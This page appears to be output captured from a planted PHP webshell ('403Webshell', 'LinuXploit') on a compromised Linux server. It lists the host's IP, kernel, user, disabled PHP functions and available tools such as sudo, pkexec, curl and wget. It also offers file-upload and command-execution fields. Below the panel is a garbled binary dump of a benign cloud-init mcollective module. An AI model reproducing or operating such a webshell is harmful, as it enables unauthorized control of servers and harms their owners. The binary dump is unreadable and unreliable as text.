403Webshell
Server IP : 156.238.232.47  /  Your IP : 216.73.216.150
Web Server : nginx/1.25.3
System : Linux C202504152095410 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : www ( 1000)
PHP Version : 8.3.25
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.7/site-packages/cloudinit/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/site-packages/cloudinit/config/cc_mcollective.pyc
�
oB�]c@s�dZddlZddlZddlmZddlmZddlmZddlm	Z	dZ
dZd	Zej
e�Zee
ed
�Zd�ZdS(s"
Mcollective
-----------
**Summary:** install, configure and start mcollective

This module installs, configures and starts mcollective. If the ``mcollective``
key is present in config, then mcollective will be installed and started.

Configuration for ``mcollective`` can be specified in the ``conf`` key under
``mcollective``. Each config value consists of a key value pair and will be
written to ``/etc/mcollective/server.cfg``. The ``public-cert`` and
``private-cert`` keys, if present in conf may be used to specify the public and
private certificates for mcollective. Their values will be written to
``/etc/mcollective/ssl/server-public.pem`` and
``/etc/mcollective/ssl/server-private.pem``.

.. note::
    The ec2 metadata service is readable by non-root users.
    If security is a concern, use include-once and ssl urls.

**Internal name:** ``cc_mcollective``

**Module frequency:** per instance

**Supported distros:** all

**Config keys**::

    mcollective:
        conf:
            <key>: <value>
            public-cert: |
                -------BEGIN CERTIFICATE--------
                <cert data>
                -------END CERTIFICATE--------
            private-cert: |
                -------BEGIN CERTIFICATE--------
                <cert data>
                -------END CERTIFICATE--------
i����N(tBytesIO(t	ConfigObj(tlog(tutils&/etc/mcollective/ssl/server-public.pems'/etc/mcollective/ssl/server-private.pems/etc/mcollective/server.cfgcCsy1tj|dtdt�}tt|��}WnDtk
rw}|jtjkr[�qxtj	d|�t�}nXx|j
�D]\}}|dkr�tj||dd�||d<d|d	<q�|d
krtj||dd�||d<d|d	<q�t|t
j�r"|||<q�t|t�r{||jkrMi||<nx;|j
�D]\}	}
|
|||	<qZWq�t|�||<q�Wytj|d
|�Wn+tk
r�}|jtjkr�q��nXt�}|j|�tj||j�dd�dS(Ntquiettdecodes4Did not find file %s (starting with an empty config)spublic-certtmodei�splugin.ssl_server_publictssltsecurityprovidersprivate-certi�splugin.ssl_server_privates%s.old(Rt	load_filetFalseRRtIOErrorterrnotENOENTtLOGtdebugtitemst
write_filet
isinstancetsixtstring_typestdicttsectionststrtcopytwritetgetvalue(tconfigt
server_cfgtpubcert_filetpricert_filetold_contentstmcollective_configtetcfg_nametcfgtotvtcontents((sC/usr/lib/python2.7/site-packages/cloudinit/config/cc_mcollective.pyt	configureFsF	






	
cCszd|kr |jd|�dS|d}|jjd�d|krZtd|d�ntjdddgdt�dS(	Ntmcollectives?Skipping module named %s, no 'mcollective' key in configurationtconfRtservicetrestarttcapture(R((Rtdistrotinstall_packagesR'RtsubpR
(tnameR#tcloudRt_argstmcollective_cfg((sC/usr/lib/python2.7/site-packages/cloudinit/config/cc_mcollective.pythandles	
(t__doc__RRRt	configobjRt	cloudinitRtloggingRtPUBCERT_FILEtPRICERT_FILEt
SERVER_CFGt	getLoggert__name__RR'R4(((sC/usr/lib/python2.7/site-packages/cloudinit/config/cc_mcollective.pyt<module>1s8

Youez - 2016 - github.com/yon3zu
LinuXploit